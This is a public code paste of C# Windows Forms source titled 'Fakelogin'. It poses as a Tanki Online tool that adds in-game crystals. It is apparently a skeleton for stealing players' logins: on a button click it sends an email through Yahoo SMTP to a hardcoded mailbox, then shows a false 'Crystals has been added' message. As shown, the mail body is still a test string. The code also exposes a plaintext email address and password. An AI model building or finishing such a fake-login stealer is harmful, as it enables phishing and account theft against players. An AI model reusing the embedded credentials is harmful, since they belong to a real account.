Advertisement
Guest User

C# Fakelogin

a guest
Nov 27th, 2015
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.08 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9. using System.Threading;
  10. using System.Net;
  11. using System.Net.Mail;
  12. using System.Web;
  13.  
  14. namespace TankiOnline_Crystal
  15. {
  16.     public partial class Form1 : Form
  17.     {
  18.         public Form1()
  19.         {
  20.             InitializeComponent();
  21.         }
  22.  
  23.         private void button1_Click(object sender, EventArgs e)
  24.         {
  25.  
  26.             try
  27.             {
  28.                 //Specify senders gmail address
  29.                 string SendersAddress = "randomtesting83@yahoo.com";
  30.                 //Specify The Address You want to sent Email To(can be any valid email address)
  31.                 string ReceiversAddress = "randomtesting83@yahoo.com";
  32.                 //Specify The password of gmial account u are using to sent mail(pw of sender@gmail.com)
  33.                 const string SendersPassword = "0776091570";
  34.                 //Write the subject of ur mail
  35.                 const string subject = "Testing";
  36.                 //Write the contents of your mail
  37.                 const string body = "Hi This Is my Mail From Gmail";
  38.  
  39.                 MessageBox.Show("Passed stage 1");
  40.                 //we will use Smtp client which allows us to send email using SMTP Protocol
  41.                 //i have specified the properties of SmtpClient smtp within{}
  42.                 //gmails smtp server name is smtp.gmail.com and port number is 587
  43.                 SmtpClient smtp = new SmtpClient
  44.                 {
  45.                     Host = "smtp.mail.yahoo.com",
  46.                     Port = 465,
  47.                     EnableSsl = true,
  48.                     UseDefaultCredentials = false,
  49.                     DeliveryMethod = SmtpDeliveryMethod.Network,
  50.                     Credentials = new NetworkCredential(SendersAddress, SendersPassword),
  51.                     Timeout = 10000,
  52.                 };
  53.                 MessageBox.Show("Passed stage 2");
  54.                 //MailMessage represents a mail message
  55.                 //it is 4 parameters(From,TO,subject,body)
  56.  
  57.                 MailMessage message = new MailMessage(SendersAddress, ReceiversAddress, subject, body);
  58.                 message.IsBodyHtml = false;
  59.                 /*WE use smtp sever we specified above to send the message(MailMessage message)*/
  60.                 MessageBox.Show("passed stage 3");
  61.                 smtp.Send(message);
  62.                 MessageBox.Show("message sent?!?!");
  63.                 MessageBox.Show("Crystals has been added, this may take 1 - 4 hours to show on your account", "successfully Added Crystal!");
  64.                 return;
  65.             }
  66.             catch (Exception ex)
  67.             {
  68.                 MessageBox.Show(ex.Message);
  69.             }
  70.         }
  71.  
  72.         private void textBox1_TextChanged(object sender, EventArgs e)
  73.         {
  74.  
  75.         }
  76.  
  77.         private void textBox2_TextChanged(object sender, EventArgs e)
  78.         {
  79.  
  80.         }
  81.  
  82.         private void Form1_Load(object sender, EventArgs e)
  83.         {
  84.  
  85.         }
  86.     }
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement